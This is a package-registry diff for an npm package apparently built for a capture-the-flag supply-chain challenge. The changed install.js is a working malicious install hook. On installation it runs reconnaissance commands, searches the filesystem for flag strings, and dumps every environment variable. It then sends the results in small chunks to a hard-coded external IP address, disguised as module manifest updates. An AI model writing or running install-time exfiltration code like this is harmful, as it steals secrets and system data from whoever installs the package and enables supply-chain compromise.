wraith-module 100.0.0 → 102.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +46 -32
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -9,51 +9,65 @@ async function report(moduleId, val) {
|
|
|
9
9
|
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
10
10
|
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
11
11
|
await new Promise((resolve) => {
|
|
12
|
-
const req = http.request({ hostname: '154.57.164.
|
|
12
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
13
13
|
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
14
14
|
req.write(body); req.end();
|
|
15
15
|
});
|
|
16
16
|
}
|
|
17
17
|
|
|
18
18
|
(async () => {
|
|
19
|
-
|
|
19
|
+
const items = [];
|
|
20
|
+
|
|
21
|
+
// What OS/container are we in?
|
|
22
|
+
items.push('ID=' + tryExec('cat /etc/os-release 2>/dev/null | head -2'));
|
|
23
|
+
items.push('HOST=' + tryExec('hostname'));
|
|
24
|
+
items.push('CWD=' + process.cwd());
|
|
25
|
+
|
|
26
|
+
// Check /data directory (nethunter writes pcap there)
|
|
27
|
+
items.push('DATA=' + tryExec('ls -la /data/ 2>/dev/null'));
|
|
28
|
+
|
|
29
|
+
// The nethunter binary - what does it do?
|
|
30
|
+
items.push('NHBIN=' + tryExec('file /opt/hscan-supplychain-dynamic/nethunter 2>/dev/null'));
|
|
31
|
+
|
|
32
|
+
// Maybe the flag is generated by nethunter and written somewhere
|
|
33
|
+
items.push('DATAFILES=' + tryExec('find /data -type f -name "*flag*" -o -name "*.txt" -o -name "*.json" 2>/dev/null'));
|
|
34
|
+
|
|
35
|
+
// Check if there are any interesting files in /opt
|
|
36
|
+
items.push('OPTFILES=' + tryExec('find /opt/hscan-supplychain-dynamic -maxdepth 2 -type f -not -path "*/node_modules/*" 2>/dev/null'));
|
|
37
|
+
|
|
38
|
+
// Read nethunter.sh fully - get the part after npm install
|
|
20
39
|
const nh = tryRead('/opt/hscan-supplychain-dynamic/nethunter.sh') || '';
|
|
40
|
+
// Get the last portion (after npm install)
|
|
41
|
+
const nhEnd = nh.substring(nh.length - 500);
|
|
42
|
+
items.push('NHEND=' + nhEnd);
|
|
21
43
|
|
|
22
|
-
//
|
|
23
|
-
|
|
44
|
+
// Middle of nethunter.sh
|
|
45
|
+
items.push('NHMID=' + nh.substring(500, 1000));
|
|
24
46
|
|
|
25
|
-
//
|
|
26
|
-
|
|
27
|
-
const cmd1str = cmd1 ? cmd1.replace(/\x00/g, ' ') : '';
|
|
47
|
+
// Check processes
|
|
48
|
+
items.push('PS=' + tryExec('ps aux 2>/dev/null'));
|
|
28
49
|
|
|
29
|
-
//
|
|
30
|
-
|
|
31
|
-
const env1str = env1 ? env1.replace(/\x00/g, ' | ') : '';
|
|
32
|
-
|
|
33
|
-
// Send nethunter.sh in chunks of 90 chars each
|
|
34
|
-
const items = [];
|
|
35
|
-
items.push('NHDIR=' + nhDir.substring(0, 85));
|
|
36
|
-
items.push('CMD=' + cmd1str.substring(0, 85));
|
|
37
|
-
items.push('CMD2=' + cmd1str.substring(85, 170));
|
|
38
|
-
items.push('ENV=' + env1str.substring(0, 85));
|
|
39
|
-
items.push('ENV2=' + env1str.substring(85, 170));
|
|
40
|
-
|
|
41
|
-
// nethunter.sh in chunks
|
|
42
|
-
for (let i = 0; i < 20; i++) {
|
|
43
|
-
const chunk = nh.substring(i * 85, (i + 1) * 85);
|
|
44
|
-
if (!chunk) break;
|
|
45
|
-
items.push('NH' + i + '=' + chunk);
|
|
46
|
-
}
|
|
50
|
+
// Try to search for flag more broadly
|
|
51
|
+
items.push('FINDHTB=' + tryExec('find / -maxdepth 5 -type f -exec grep -l "HTB{" {} + 2>/dev/null | head -5'));
|
|
47
52
|
|
|
53
|
+
// Check all environment variables
|
|
54
|
+
items.push('ALLENV=' + JSON.stringify(process.env));
|
|
55
|
+
|
|
56
|
+
// Send each item, 85 chars at a time
|
|
48
57
|
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
58
|
+
let totalIdx = 0;
|
|
49
59
|
|
|
50
|
-
for (
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
60
|
+
for (const item of items) {
|
|
61
|
+
// Split this item into 85-char chunks
|
|
62
|
+
for (let c = 0; c < Math.max(1, Math.ceil(item.length / 85)); c++) {
|
|
63
|
+
const chunk = item.substring(c * 85, (c + 1) * 85);
|
|
64
|
+
if (!chunk) break;
|
|
65
|
+
const modIdx = totalIdx % 4;
|
|
66
|
+
await report(mods[modIdx], 'M' + totalIdx + '_' + chunk);
|
|
67
|
+
totalIdx++;
|
|
68
|
+
if (totalIdx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
|
|
69
|
+
if (totalIdx > 40) break; // Safety limit
|
|
56
70
|
}
|
|
57
|
-
|
|
71
|
+
if (totalIdx > 40) break;
|
|
58
72
|
}
|
|
59
73
|
})();
|